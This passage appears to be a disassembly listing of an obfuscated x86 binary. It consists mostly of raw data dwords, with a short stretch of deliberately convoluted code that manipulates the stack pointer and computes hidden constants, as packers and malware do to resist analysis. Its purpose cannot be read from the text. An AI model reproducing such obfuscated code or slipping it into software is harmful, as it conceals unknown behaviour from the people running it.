6A06072Ch dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 5516C351h, 3F37BF56h, 605B0FC0h, 1CFDB589h dd 0CC8A0607h, 0C28B5061h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6658188Bh, 0C937DB81h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 0E7C35646h, 89EEFA94h, 7123195h, 0E5BD8306h dd 60710h, 5F840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 0E60E7BC3h, 66D91067h dd 548FF781h, 0B8h, 0D173BB00h, 8D8D2F56h, 6074E1Ch, 6AE1FFF9h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0C9BEC355h, 81925C1Dh, 498E44E7h, 5BD8334h dd 6072Dh, 400840Fh, 0F3810000h, 7A689A7Bh, 2D05BD83h dd 0F010607h, 40884h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 0ADA95A22h, 0BD339E14h dd 6070CA5h, 1075BD0Bh, 8D890607h, 6072049h, 2D05BD83h dd 0F030607h, 39286h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 60DE8A48h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0DEC35343h, 5E847995h dd 0F0BF66FAh, 0D98C6632h, 80D88B66h, 8B6604E1h, 0FC90AF8h dd 13C84h, 0EE800h, 0A8B40000h, 1F0257C9h, 0FDD9B978h dd 0AB40C783h, 29858B5Bh, 6A060706h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 5930C355h dd 8559D8Bh, 0B5890607h, 60711E9h, 1E758533h, 6A0607h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0D78D39C3h, 33331EB4h, 721F99Dh, 16BB9006h, 50056F96h dd 6870F60h, 50000000h, 5A310F52h, 0E9906158h, 5, 436E55ADh dd 66006A16h, 91B21BFh, 70AF585h, 3066806h, 0BF66A94Bh dd 481D4CAh, 0D400F924h, 57006A56h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 0B7B2F9B8h, 95FFF887h dd 6071D01h, 10DB501h, 85890607h, 60AA6ADh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0E3C35343h, 9759589h dd 81660607h, 0E99CBAEFh, 1C5h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 1EC35040h, 0EF1F8FD2h, 816660EFh dd 6039A2E9h, 81666160h, 61E11AF6h, 0A5858B61h, 3060AA6h dd 70C7D9Dh, 9D015006h, 6071A91h, 1800C75Fh, 0E9000000h dd 0Dh, 0A2977ABCh, 0D15B7821h, 0B767D38Ch, 79B5313Dh dd 8B060715h, 0AA6A9B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 14F0AD0Dh, 898E8A73h dd 731E98Dh, 21858B06h, 6606070Ch, 0F8AD97BBh, 56510689h dd 0B5DB8166h, 8B5F5FBCh, 7062985h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 8949AE02h dd 0F1BF0446h, 960F7B29h, 0C68EBF66h, 0E8525050h, 6, 0D0FE0851h dd 840F1A40h, 0 dd 0E8310F5Fh, 12h, 602DA7C1h, 0CC0308Ch, 35038AC6h, 8BB0FBB7h dd 79BF3F3Fh, 5F44205Fh, 8196585Ah, 977616E3h, 0A5B5FF42h dd 6A060AA6h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 8BAFC353h, 7096DBDh, 7D8D0106h dd 5606070Ch, 5FDA8B66h, 4E8h, 1F03FF00h, 0FE8B6600h, 0F8B2BB50h dd 448B09E0h, 0BEB70424h, 5250008Bh, 6E8h, 0A059C400h dd 0E8ED45A3h, 0Fh, 2000EE62h, 0E923F23Eh, 7047C17Dh, 5FF221DCh dd 0BF310F5Bh, 4F50AA66h, 4489585Ah, 0F580424h, 85h, 0AD858D00h dd 0F060AA6h, 87h, 850F5000h, 4, 7668BB66h, 89240489h dd 72189BDh, 195FF06h, 8B06071Dh, 72CB1BDh, 8B666106h dd 585C7D9h, 306072Dh, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 27CDC352h dd 0E91DA3F8h, 12h, 4218AF81h, 5BEE9F71h, 0C3BBCF3Fh, 0CF582182h dd 0BD83413Ah, 60AA6ADh, 18840F00h, 0E8000000h, 7, 0B1337849h dd 896962E7h, 7147195h, 1BE95B06h, 50000000h, 110C30h dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 8151C08Bh dd 5B4467E7h, 6A5F58h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 0FE594AC3h, 7BAFFAB7h, 8384685Ah dd 72D05BDh, 850F0306h, 4D6h, 68A0Fh, 85010000h, 60712A9h dd 0A6ADBD83h, 0F00060Ah, 4BD84h, 0B5FFF900h, 60AA6ADh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0C4C35646h dd 719D8969h, 8006072Ah, 95FF8CE3h, 607043Dh, 10E9h, 4FC81E00h dd 97AD6AFCh, 2DB35EAFh, 0E1931E14h, 0A1B58B32h, 66060AA6h dd 66BF6FBBh, 0F21DDF81h, 106C7h, 6A0001h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 945ACFC3h dd 8589042Fh, 6072DFDh, 8B0F50h, 89000000h, 6A2434h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 8D8DBFC3h, 5C3139E3h, 0E9816066h, 7AE9987Bh, 6218D8Bh dd 8B610607h, 72C799Dh, 0ADB5FF06h, 6A060AA6h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 134EC353h, 13389AC3h, 95FF3505h, 6071A55h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0DC35040h, 8B602CC3h dd 0DE8B66C6h, 0A1B58B61h, 3060AA6h, 71AD9BDh, 9E906h dd 0F5420000h, 1D48352Ah, 8B3FE9C5h, 7138985h, 0DBBF0F06h dd 0C48689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 8B8AE2C3h, 715BD9Dh, 38F0F06h, 0F000000h dd 9D8BFEBFh, 607214Dh, 679958Bh, 6A0607h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0C66AC7C3h dd 0A8B807C8h, 0FEB70F6Dh, 2651BD8Bh, 0C2830607h, 55006A04h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 5E9300Eh, 0C8000000h, 8654FC81h, 153DB589h, 50890607h dd 51006A20h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 9BFACB3Eh, 0BCD1EBB0h, 0BB669D3Dh, 8F0FF2CEh dd 6, 32319D31h, 8DF80607h, 0ABA1F85h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 113A7FF1h, 0A1D0C50Ah, 7E9E8h, 8C7C0000h, 0B3B9F20Ch dd 8689F976h, 0B8h, 1D4DBD2Bh, 6A0607h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 15h, 19C35343h, 0D99D895Ah dd 89060715h, 7002985h, 0ADB5FF06h, 6A060AA6h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 0E0B1C350h, 96A7E4F3h, 0F995FF1Dh, 6A06071Ah, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0E3A8C352h, 66CA39EAh, 2DBD781h, 0BF665396h, 505F44BEh dd 996FA8Bh, 72DF185h, 0ADB5FF06h, 89060AA6h, 7100595h dd 2995FF06h, 6A060715h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 8544C355h, 5830Fh dd 81660000h, 8311F8F7h, 712A5BDh, 840F0006h, 52h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 3CC35040h, 88DAF21Fh dd 0E8963770h, 0Ah, 0A370D4DCh, 76F71B15h, 505F3C72h, 53006A96h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0B5FF1E66h, 60AA6ADh, 21D99589h, 95FF0607h, 6070555h dd 17518D01h, 0B5FF0607h, 60AA6ADh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 6DC35242h, 767BB66h, 1FF995FFh dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0BD8BE9C3h, 6072A7Dh, 13E8h, 638A2600h, 0AB359F5Eh dd 11682DBFh, 36EC5948h, 0F75116A1h, 45BD8B52h, 5B06071Fh dd 1DBD835Bh, 206071Fh, 88840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0B3E3C3h dd 6007737Fh, 8E9h, 9B1A6500h, 0E741DC90h, 0B70F60B2h dd 1B866D6h, 8B61614Ah, 706DD85h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0B805DC74h dd 142CB156h, 0C6DADF80h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 4AE8B7C3h, 85C7A2FEh dd 6072691h, 0 dd 1EF99D8Bh, 10E80607h, 41000000h, 0B2660134h, 78DF7C53h dd 3224F2F9h, 8B91CBEBh, 0F1E95FDEh, 6AFFFFF2h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 6291C357h, 2DCD24E3h, 0BCA6D7Eh, 70BBD9Dh, 81C18B06h dd 18A6C7EBh, 488D8D2Fh, 6A060C39h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 8EE7C350h dd 8D892488h, 6070679h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 26C35545h, 0C7E55331h, 72CE585h, 594006h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0BD893EADh, 6071BEDh, 2D0585C7h, 607h, 0BD8B0000h dd 6072EA5h, 157DB5FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 3F3B1AC3h, 0AE96Fh, 1E190000h dd 3DD322DEh, 0F0B1329Ah, 0BD95FFh, 6A0607h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 782ED0C3h dd 0A2BA54DEh, 6A7097E4h, 0B595FF00h, 8B060716h, 661CEBC0h dd 55EC2678h, 8CA91BB7h, 0A15AAA0Bh, 9AA7A8D2h, 54B91D14h dd 80BD1F2Dh, 8D19AA68h, 0C3A628Dh, 8E906h, 3A420000h dd 0FCD598C6h, 8D89A1A8h, 6070679h, 0FE8h, 0CC0BBE00h dd 0E20E3F14h, 9D1F4D19h, 56116E93h, 6511BF66h, 0E585C75Ah dd 4806072Ch, 6A00006Ch, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 713FC353h, 0DE8h, 4B02E00h dd 0F1363CF5h, 73E03115h, 0FE83196h, 0C7000000h, 0ECEACC61h dd 0BC012AD9h, 9BDFD5CDh, 5FFC8F67h, 6D85895Bh, 0C7060715h dd 72D0585h, 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 0EDD5EB24h, 958B1FE0h dd 607272Dh, 0FFF38B66h, 70C11B5h, 0ABE78106h, 0FF4D9AABh dd 700BD95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 8B4D62E3h, 715ADB5h, 0FF006A06h dd 716B595h, 0EBC08B06h, 48EFA21Dh, 0E7DA3B57h, 0CA438285h dd 3FCA0D95h, 0EC762924h, 0B36AC2C5h, 17227A79h, 8D8DC40Dh dd 60C3B7Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0B8C35242h, 3EB02807h, 8F0F4002h, 6, 12999D89h dd 8B660607h, 798D89D7h, 6A060706h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 6606C353h dd 85C7F78Bh, 6072CE5h, 5BF0h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 1FC35343h, 0FD59EBF8h, 81661603h dd 0C7B4D7D3h, 72D0585h, 6, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0E6D7EF37h dd 1A87CEEh, 70CF58Dh, 59B5FF06h, 0BE060706h, 4F3C5AD5h dd 0BD95FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 66574DC3h, 3D92D381h, 0FF006A5Fh dd 716B595h, 0EBC08B06h, 71FFB75Ah, 0CD6F04B2h, 36693C56h dd 88C9A304h, 7F3FCB19h, 0BB1B1978h, 21556E8Fh, 0BA6E5AA9h dd 594F4BC8h, 2FAB4549h, 23EA0DB5h, 673BA2E1h, 0E98CC7EFh dd 0F8A6EE70h, 5965FD8h, 9F8AEA9Ah, 4F37C041h, 7A533095h dd 0FD171264h, 0A3792A61h, 0EA68C0ECh, 0CB3AF970h, 0E8F5B3A6h dd 0Fh, 9F068132h, 62E5482Dh, 0BC4F88EFh, 60924703h, 31998D8Bh dd 850F0607h, 17h, 12E9h, 0B2266600h, 58E24713h, 0DEAE1156h dd 0D6FBCD32h, 61BFB5F1h, 0C9BD8B59h, 8106072Fh, 59EFC1h dd 71B52900h, 0BB060725h, 163Ch, 14E9h, 158E6A00h, 666312D8h dd 1101993Ch, 0BEA64C27h, 27187A0Fh, 60318B1Dh, 870Fh dd 8E90000h, 7E000000h, 613A6F5Bh, 61840EC9h, 35E5F681h dd 29BF7670h, 81422131h, 0EECD05C6h, 0C6B70F51h, 0FFD7C681h dd 13E948AEh, 0F5000000h, 4B37DCBEh, 2D64AB9Ch, 8DA54DEFh dd 20A8750Bh, 31898216h, 0E983EBB4h, 0DE804h, 682F0000h dd 89DF5303h, 0FAC3B3F4h, 0FEE7123h, 815FC3BFh, 1EBh, 0F850F00h dd 8B000000h, 25E9C7h, 57E40000h, 4F1812F7h, 0BD2398CCh dd 6073025h, 0FFFF74E9h, 0D6B4AFFFh, 8B855624h, 0EF3886B2h dd 0D1EEF56Eh, 0E8F12AA9h, 0Fh, 3312889Ch, 88F68F53h, 0E2820ABCh dd 893D5F85h, 71275BDh, 0D78A5B06h, 58D7C381h, 0BA660000h dd 14BEF0DCh, 9000016h, 715AD85h, 8133FF06h, 0BCE6BED2h dd 0E0805F3Eh, 3C78168h, 9224BFEh, 70635B5h, 37F78106h dd 8B241A55h, 98F781D1h, 8B5BAFE6h, 71A5185h, 0B13B8906h dd 0FCEB8175h, 8B1ECBD6h, 72FA985h, 0F8C38106h, 601ECBD6h dd 21E9B58Bh, 0D38B0607h, 1EE8161h, 0F000000h, 0FFFFA885h dd 4D9589FFh, 8D060708h, 0C3E738Dh, 1852906h, 89060701h dd 706798Dh, 6C86BF06h, 85C70AF5h, 6072CE5h, 5D8Ch, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 20C35747h, 17768216h dd 6E8E701h, 6E000000h, 3C1BBC87h, 0C6BF0FFCh, 5E85Bh dd 0F6880000h, 0E9A90FC3h, 9, 9F34A7E2h, 0E76BC44Bh, 85C758CCh dd 6072D05h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 60C35242h dd 4F16274Bh, 7A3E587Ah, 0FFE2E380h, 70C11B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0B04781D5h, 0C67BBBE7h, 9D899EBFh, 60707D9h, 0BD95FFh dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 662BF3C3h, 0C122F381h, 6ADA8Bh, 16B595FFh dd 0C08B0607h, 52E21DEBh, 87417C7Dh, 0E8AF1159h, 3D64BB52h dd 504693B5h, 4D69E509h, 0B0716DEFh, 0E91431E1h, 2Dh, 6EE1B304h dd 0Ah dup(0) dd 505E900h, 47D00000h, 0AC683614h, 0D03D1AFh, 70A2704Eh dd 0D63F0DEBh, 600CA785h, 0DFBD9E77h, 78560511h, 14F269AAh dd 0B290CB46h, 9375FCE0h, 1884D3A9h, 0F7C1863Eh, 0D4CC0C4Bh dd 4AD93E21h, 0F1D4878Ch, 5477E42Dh, 78560510h, 0EF467AAh dd 0B396C550h, 815DB4F8h, 0E0A7CA91h, 4ACA0E31h, 0C78FEE11h dd 70EB26F0h, 0D54FC492h, 6AF4D65Dh, 36797EC7h, 0C76B5F41h dd 0F2A1E47Eh, 494D470Ch, 4242AAAEh, 0F5D887D4h, 0F962B17Fh dd 5A13D8D6h, 75D01BB3h, 888E5235h, 3028EDD3h, 984EB177h dd 0D34CF427h, 2DF4382Dh, 0CB4B8F4Ah, 0E9296D90h, 0D5434F72h dd 7CDF34EEh, 0EFE39259h, 33E03A81h, 957C4A28h, 0BF96A3C6h dd 0F57EC79Fh, 284DBC1Bh, 2599C09Ch, 20F5376h, 0D90D3659h dd 997BB5E2h, 7D793E22h, 8F520604h, 5035D4B7h, 3BDE8895h dd 6Ah, 4E0D0462h, 6B461E2Bh, 9E6E7EC7h, 42734E0h, 0F5CA5A3Dh dd 88B1374Eh, 154DEh, 47B0000h, 2A284B10h, 0D2B5A66Ch dd 3255060Eh, 143724EEh, 0D341FFB5h, 0A4B75C88h, 0D64A31C1h dd 785EFD18h, 0C76B0FF1h, 6E51947Eh, 13F16AAAh, 212CC45h dd 9123D5h, 0CA79AF1Ch, 5C7B5DE4h, 0BD007EC8h, 0EAA8300Eh dd 450C2F2Ch, 8C4AFD62h, 32149B89h, 0B77EC76Bh, 0DBA2C574h dd 7AE134F8h, 5A011357h, 0B707837h, 371546CFh, 0CDB3A869h dd 0DC7F9755h, 0C76B05E7h, 4ACA8A7Eh, 7827EE11h, 6F92C94Ch dd 0C60AC5A8h, 0B32B114Ah, 0C76B4A2Ch, 0A98CCF7Eh, 6F5402EEh dd 88B7BDD8h, 66CEDEh, 4F50000h, 0AA8C1311h, 2F7EC76Bh dd 0A51C0ECh, 1CF4385Bh, 39D81C3Fh, 56BBFF22h, 56E8E205h dd 23EB3261h, 0C893825Ch, 72A462EAh, 0D34206E9h, 0F1216588h dd 0AD5B476Ah, 0B76431D6h, 4E27DE88h, 4E000000h, 274A1104h dd 6DF430E3h, 7EC76B8Bh, 0FB1ECD10h, 0DD005BB7h, 0C0E37899h dd 104F34C6h, 2AF4CBFFh, 239270EBh, 654B1004h, 0CEF16AA7h dd 213ADB07h, 9F76833Eh, 0C77EC76Bh, 83D839F7h, 0BA9DBE57h dd 0D7AE552Ah, 0B4DE88B1h, 1, 4F0C04DBh, 0B529E82Ch, 74097C5Bh dd 5BC00AD8h, 13C289ACh, 176E4F0h, 42203BD5h, 0BB42A1B8h dd 7EC84AD9h, 866C1B5Eh, 0C06478FFh, 0F327578h, 9EBD5311h dd 0DD1B47Bh, 0AB795704h, 0D4D2F566h, 84E0A30Fh, 0D8BBAA5Ah dd 0C162734Bh, 0F269A978h, 0D5868BCFh, 0B3A86EB2h, 55E7C990h dd 0EC20316Eh, 95C64B97h, 3328E9B7h, 1645CC10h, 572C34F3h dd 0F7D5868Bh, 8EBA374Eh, 0B95917E4h, 457EBFA2h, 8C000001h dd 0F51843CEh, 48E64B2Eh, 0CF0D85D1h, 0E2A28FEEh, 4BC64D33h dd 1078C16Eh, 0AB66AACDh, 0D04D2B0h, 2AE72B4Eh, 898D4B31h dd 5E8AFD2h, 3C838B4Ah, 462C2FE2h, 676547CEh, 0A7EA78C1h dd 0E0A54EC4h, 0ABE48EB5h, 4Bh, 0D8BA41B9h, 5D78C15Ah dd 4AD2371Ah, 0F0D3888Ch, 4E34E870h, 0C76AC5C7h, 48CB89FEh dd 4629F013h, 566386C9h, 0FEC76B74h, 0D156AFCh, 19414B15h dd 736316A2h, 5557DEC4h, 1A7EC7AEh, 0B973F9D7h, 0F7000000h dd 5B7EDD39h, 484CB194h, 25AE85D1h, 5276154Bh, 7903E56Ch dd 45887EC7h, 0AFEBB096h, 86D53F75h, 0D0699C63h, 0B432152Ah dd 0C041422Dh, 39410678h, 81B7DABDh, 0EBB22F12h, 669899CFh dd 0ED10BF3Bh, 0DF368A9h, 0B3CF6E48h, 3C1F2F5Ah, 4219F8C6h dd 0F53D121Fh, 5A8E78C0h, 7F58B965h, 0E707C266h, 7F5D0C86h dd 0DD396CF5h, 0E5945B7Eh, 0ED041FFh, 6B325506h, 0EFD299BCh dd 0CABAEA71h, 0B4F772B3h, 0AECE9391h, 34CB7FCBh, 98793D20h dd 0B55CA0C3h, 0D13F83A6h, 0A0A8678Ah, 1A887CDBh, 7EA4BDA5h dd 0B5E5D398h, 0B64ED33Eh, 9ECE55D3h, 0DB6CA705h, 20F4B298h dd 73E2583Bh, 0EEC6854Ah, 48CDE3A3h, 0A67CE565h, 7F0939C0h dd 34678BBh, 0E6759CE0h, 84D73A08h, 0F87C5461h, 0CF97CFCDh dd 78E32EE8h, 1645CC9Ah, 4F31B830h, 0D40FCE08h, 0F5F3AE91h dd 754BF7Dh, 0CE083012h, 8F72B50Fh, 0F11447CBh, 4CC489E5h dd 0ED8DAD66h, 86FFFE2h, 3A1843CEh, 93B6A56Ch, 0D97h, 1CA31B00h dd 0FCD9F3Ah, 34997CBFh, 13041520h, 30E12548h, 4FC4082Bh dd 71A5E90Ch, 9283C7EAh, 0B362A6C9h, 0D14185A8h, 0ED23678Ah dd 0D074B6Eh db 4Eh, 2Bh, 2Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi mov esi, 582C65FBh add esi, 414254BEh neg esi xor esi, 66914543h add ebp, esi pop esi sub ebp, 4 xchg ebp, [esp] pop esp push 23Fh mov [esp], ecx push 51D1h mov [esp], ebx push 60C3ECCh mov ecx, [esp] add esp, 4 push esp mov ebx, [esp] add esp, 4 push 7EFFh mov [esp], ecx pop dword ptr [ebx+8] push dword ptr [esp] pop ebx add esp, 4 push dword ptr [esp] pop ecx add esp, 4 jmp loc_4FF07A ; --------------------------------------------------------------------------- db 2 dd 56A97512h, 0F34A67F0h, 0B8D26DB6h, 60C4361h, 0E0FFC503h dd 0F8C32A9h, 525D45D1h, 55FDDED2h, 437D5738h, 775BFA1Bh dd 7AA82288h, 66BAFA2Bh, 1ACA08D2h, 0F3D95FAh, 21DF5BBCh dd 56BBF11Ch, 76BD4A49h, 0E03644A5h, 0A2B1258Ah, 0D6B33D89h dd 6D374C67h, 0E8393649h, 6C004219h, 72444354h, 0ABBB1079h dd 6B34402Ch, 0BEB5CA4Ah, 0E636442Ch, 629CE40Fh, 30E3BC4Fh dd 6A8DC0FCh, 6B364462h, 3860545Dh, 6B34402Ch, 0BEB5CA4Ah dd 0E636442Ch, 6299D50Fh, 30E3BC4Fh, 3A3029FCh, 6B3040BAh dd 0A8696329h, 4F7CCACDh, 4F74C24Eh, 6B305F21h, 0A8610292h dd 0B39AD271h, 0EE3788E5h, 44E2C2B0h, 8278098Eh, 6B30439Eh dd 58123D62h, 95C15246h, 0ABBB078Dh, 6B3044A0h, 8C1C69A4h dd 0D398FEE5h, 1E8CF4Fh, 68D81694h, 4B30434Ah, 0E26D8078h dd 0EA3467FEh, 7D34670Dh, 2E3043A4h, 41208007h, 0AB54AABh dd 0C3364489h, 4EB44C4Eh, 0E0304321h, 6C367A1Fh, 0CEADC84Fh dd 0E83644B1h, 6C301AEFh, 0EF3F432Fh, 6B304383h, 60C1D6C3h dd 6AD94522h, 0E2304396h, 6C252ED4h, 42BD40A2h, 0D5364470h dd 69306429h, 836143FEh, 6B304349h, 32F31A05h, 6F140F1Bh dd 6F1407C8h, 6B3043BFh, 0C3F31213h, 78EDC79Fh, 0DD7DB0Ch dd 0E611DAF0h, 615FFAA0h, 3A302994h, 6B3040A1h, 0A86963A4h dd 4F7CCA0Bh, 4F74C22Dh, 6B305990h, 0A861024Ah, 7DDEA3F3h dd 0E03F36E2h, 6C2AAAD4h, 1E0BCA2h, 68D81152h, 4B304329h dd 0E26A80CEh, 0EA34671Eh, 72346761h, 29304392h, 0B7BE801Bh dd 0E100B5C3h, 7FB9DE53h, 0ABB5452Eh, 6A36C79Bh, 6B5A434Ah dd 6B33AB72h, 34104392h, 17B91C8Ah, 2FB14780h, 6B2C4776h dd 3C774329h, 0B6801E57h, 5507BAEDh, 0D6BB89FAh, 6D37405Bh dd 0D677BC8h, 0EE3FB825h, 6B304370h, 6B32C626h, 92BB4394h dd 6F48C22Ch, 0EF3F4127h, 6B3040FFh, 6B304AA0h, 0EF89AEA4h dd 6B76004Ch, 0EA568421h, 6450DFACh, 6B30E0CFh, 3E302925h dd 6B30407Ah, 0A86D6349h, 4F5CCAF9h, 4F74C256h, 6B30592Dh dd 0A8650694h, 563DC58Bh, 0E0253AC1h, 6C1EC61Fh, 0E633124Fh dd 6D375679h, 6948C308h, 2B54CC1h, 0E0304394h, 6C016EC7h dd 13B12523h, 649B4394h, 6B3014CCh, 3D3029A4h, 6B3040BAh dd 0A86E6329h, 4F44CACAh, 4F74C24Eh, 6B305521h, 0A8660592h dd 82F971CBh, 6B304141h, 83604338h, 6B30432Ah, 33F31BB4h dd 6F1407C3h, 6F1407A4h, 6B30438Ah, 0ADF31309h, 60A00302h dd 40F9D663h, 62D9452Eh, 7A304394h, 1AA3EDA6h, 0EBA5DCDBh dd 6A31432Ch, 3B30290Fh, 6B30404Ch, 0A8686352h, 4F74CA71h dd 4F74C290h, 6B305E4Eh, 0A8600325h, 0EC506D9Ah, 178A7947h dd 0B1BA76D0h, 489C6DFh, 0E93F4523h, 6B304388h, 6B24AB1Ah dd 0E4804325h, 9A93EF9Fh, 156B3C11h, 365F17D7h, 41F96659h dd 316B87B8h, 62E1FEA5h, 0BBCF454Dh, 60CDDEAEh, 0ABB54595h dd 6ACAC746h, 6B5A43A4h, 6B33AB02h, 33104329h, 2FB91B57h dd 2FB1476Eh, 6B274701h, 3B704392h, 0CD1B4F8Ah, 6B23AA37h dd 76024352h, 7888FBDEh, 0A48E2511h, 0D88F68Ah, 0C4B3A6AEh dd 0B18F4CF8h, 56567BC8h, 0EE3F41A6h, 6B304374h, 6B304DC0h dd 0C33D1094h, 9F8A4122h, 4D4E07CFh, 0EA422748h, 56564531h dd 0EF3F39FBh, 6B3042B3h, 4D41F600h, 0EA564593h, 6450DF72h dd 6B302CA0h, 3D302992h, 6B3040A1h, 0A86E63A4h, 4F44CA0Ch dd 4F74C22Dh, 6B305790h, 0A866054Ah, 6948C384h, 22B54C7Ah dd 1304349h, 68D813A4h, 4B304352h, 0E2688071h, 0EA3467D0h dd 7734670Eh, 2B304325h, 0EBDE80C2h, 21EE753Ah, 0DAA5C30h dd 0DEF394D3h, 6D48C24Fh, 0EE3F8394h, 6B30435Eh, 7F3DCE24h dd 1D94595h, 0E2304348h, 6C108639h, 1DEFC354h, 6A314397h dd 6EB14CEAh, 0D230434Ah, 76693B96h, 489C61Fh, 0D0564543h dd 0BBCF793Ah, 64F0C6AEh, 6B30ACADh, 3E302994h, 6B3040A2h dd 0A86D6325h, 4F5CCACFh, 4F74C24Dh, 6B3058A0h, 0A8650652h dd 30B760F9h, 86FEA972h, 6B39AAB2h, 2984325h, 0DF211F18h dd 0EB818E29h, 0EE3FAB9Ch, 6B304321h, 83664343h, 6B304397h dd 35F31D6Ah, 6F1437ACh, 6F140713h, 6B30435Eh, 18F315E2h dd 421F83DBh, 6C276A94h, 6B3DAA92h, 0FE28434Ah, 14A64A76h dd 4207599Bh, 0EB4E943Eh, 644346DCh, 6B3071D7h, 428DC829h dd 0EB364489h, 64634432h, 6B30F3A1h, 6B39AB92h, 89AC4349h dd 7C4F876Bh, 58BE9812h, 6C232E94h, 82661892h, 6B30434Ch dd 0E837AA58h, 0D690003h, 6EBF7BC8h, 6B06C6ABh, 0D6BB4352h dd 6D376F64h, 3363B14h, 6B16C645h, 0DEB94325h, 6D3772CFh dd 6048C22Fh, 0EE3F665Bh, 6B304346h, 0E0CFF426h, 6C3B4A29h dd 6B63AA4Ch, 0D6014325h, 6D375953h, 6B5A8362h, 6B33ABF7h dd 30104352h, 37B918EAh, 2FB147B0h, 6B2A476Eh, 38734325h dd 7AC57051h, 18412DFAh, 6B300D4Dh, 39302952h, 6B3040C1h dd 0A86A6394h, 4F64CA10h, 4F74C221h, 6B305F96h, 0A8620149h dd 5B65E41Dh, 1FC650C1h, 6B31FBDEh, 6B5A4394h, 6B33AB1Bh dd 32104325h, 27B91A51h, 2FB1476Dh, 6B2B4780h, 3A714352h dd 9433EAh, 0FF77A693h, 3BBBF6D0h, 6FB98CAEh, 393029B6h dd 6B3040A1h, 0A86A63A4h, 4F64CA08h, 4F74C22Dh, 6B305490h dd 0A862014Ah, 0FC52FE04h, 